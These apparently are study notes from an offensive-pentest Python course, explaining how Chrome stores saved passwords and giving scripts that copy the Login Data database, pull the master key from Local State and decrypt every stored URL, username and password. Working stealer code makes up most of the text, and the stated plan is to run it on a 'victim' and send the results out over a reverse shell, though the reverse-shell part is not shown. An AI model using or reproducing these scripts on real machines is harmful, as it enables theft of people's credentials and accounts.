Dumping saved passwords from Google Chrome
From course: Python For Offensive PenTest: A Complete Practical Course.
General index of the course
- Gaining persistence shells (TCP + HTTP):
- Advanced scriptable shells:
- Techniques for bypassing filters:
- Malware and crytography:
- Password Hickjacking:
- Privilege escalation:
How does Chrome saved passwords work?
Chrome uses windows session password to encrypt and decrypt saved passwords. Encrypted passwords are stored in a SQlite db called 'Login Data DB' located at:
Chrome calls to the windows API function called "CryptProtectData", which uses the windows login password as an encryption key and in reverse operation a windows API function called "CryptUnprotectData" to decrypt the password value back to clear text.
1. Install sqlite from: https://sqlitebrowser.org/dl/
2. Open DB Browser sqlite.
3. In your windows explorer, go to the path where sqlite db is stored and copy the file "Login Data" to your Desktop.
4. Change the extension of "Login Data" file to .sqlite3
5. Open "Login Data.sqlite3" in DB Browser sqlite.
6. Go to tab "Browse Data" (Hoja de Datos in spanish) and select the table login. There you have all stored passwords.
Our script
The route map for this script will be:
1. Guessing the path to sqlite database: username and browser used by the victim.
2. Sending the password value from a column in "logins" table, in "Login Data.sqlite3" to function CryptUn ProtectData.
3. Send the passwords through a reverse shell.
Script for gathering passwords
Here is the script provided in the course (it doesn't work, below I've pasted a different one that works):
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
from os import getenv
# To find out the Chrome SQL path- C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Login Data
import sqlite3 # To read the Chrome SQLite DB
import win32crypt # High level library to call windows API CryptUnprotectData
from shutil import copyfile # To make a copy of the Chrome SQLite DB
# LOCALAPPDATA is a Windows Environment Variable which points to >>> C:\Users\{username}\AppData\Local
path = getenv("LOCALAPPDATA")+r"\Google\Chrome\User Data\Default\Login Data"
# make a copy the Login Data DB and pull data out of the copied DB, so there are no conflicts in case that the user is using the original (maybe she is logged into facebook, let's say)
path2 = getenv("LOCALAPPDATA")+r"\Google\Chrome\User Data\Default\Login2"
copyfile(path, path2)
# Connect to the copied Database
conn = sqlite3.connect(path2)
cursor = conn.cursor() #Create a Cursor object and call its execute() method to perform SQL commands like SELECT
# SELECT column_name,column_name FROM table_name
# SELECT action_url and username_value and password_value FROM table logins
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
# To retrieve data after executing a SELECT statement, we call fetchall() to get a list of the matching rows.
for raw in cursor.fetchall():
print(raw[0] + '\n' + raw[1]) # print the action_url (raw[0]) and print the username_value (raw[1])
password = win32crypt.CryptUnprotectData(raw[2])[1] # pass the encrypted Password to CryptUnprotectData API function to decrypt it
print(password)
conn.close()
Script that works. These are requirements:
Script:
import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
def get_master_key():
with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State', "r") as f:
local_state = f.read()
local_state = json.loads(local_state)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:] # removing DPAPI
master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(buff, master_key):
try:
iv = buff[3:15]
payload = buff[15:]
cipher = generate_cipher(master_key, iv)
decrypted_pass = decrypt_payload(cipher, payload)
decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes
return decrypted_pass
except Exception as e:
# print("Probably saved password from Chrome version older than v80\n")
# print(str(e))
return "Chrome < 80"
master_key = get_master_key()
login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\default\Login Data'
shutil.copy2(login_db, "Loginvault.db") #making a temp copy since Login Data DB is locked while Chrome is running
conn = sqlite3.connect("Loginvault.db")
cursor = conn.cursor()
try:
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for r in cursor.fetchall():
url = r[0]
username = r[1]
encrypted_password = r[2]
decrypted_password = decrypt_password(encrypted_password, master_key)
if len(username) > 0:
print("URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n" + "*" * 50 + "\n")
except Exception as e:
pass
cursor.close()
conn.close()
try:
os.remove("Loginvault.db")
except Exception as e:
pass
Script with gathering passwords phase integrated in a reverse shell
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
import json
import base64
from os import getenv
# To find out the Chrome SQL path- C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Login Data
import sqlite3 # To read the Chrome SQLite DB
from Crypto.Cipher import AES
import win32crypt # High level library to call windows API CryptUnprotectData
from shutil import copyfile # To make a copy of the Chrome SQLite DB
# LOCALAPPDATA is a Windows Environment Variable which points to >>> C:\Users\{username}\AppData\Local
path = getenv("LOCALAPPDATA")+r"\Google\Chrome\User Data\Default\Login Data"
# make a copy the Login Data DB and pull data out of the copied DB
path2 = getenv("LOCALAPPDATA")+r"\Google\Chrome\User Data\Default\Login2"
copyfile(path, path2)
# Connect to the copied Database
conn = sqlite3.connect(path2)
cursor = conn.cursor() #Create a Cursor object and call its execute() method to perform SQL commands like SELECT
# SELECT column_name,column_name FROM table_name
# SELECT action_url and username_value and password_value FROM table logins
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
# To retrieve data after executing a SELECT statement, we call fetchall() to get a list of the matching rows.
for raw in cursor.fetchall():
print(raw[0] + '\n' + raw[1]) # print the action_url (raw[0]) and print the username_value (raw[1])
password = win32crypt.CryptUnprotectData(raw[2])[1] # pass the encrypted Password to CryptUnprotectData API function to decrypt it
print(password)
conn.close()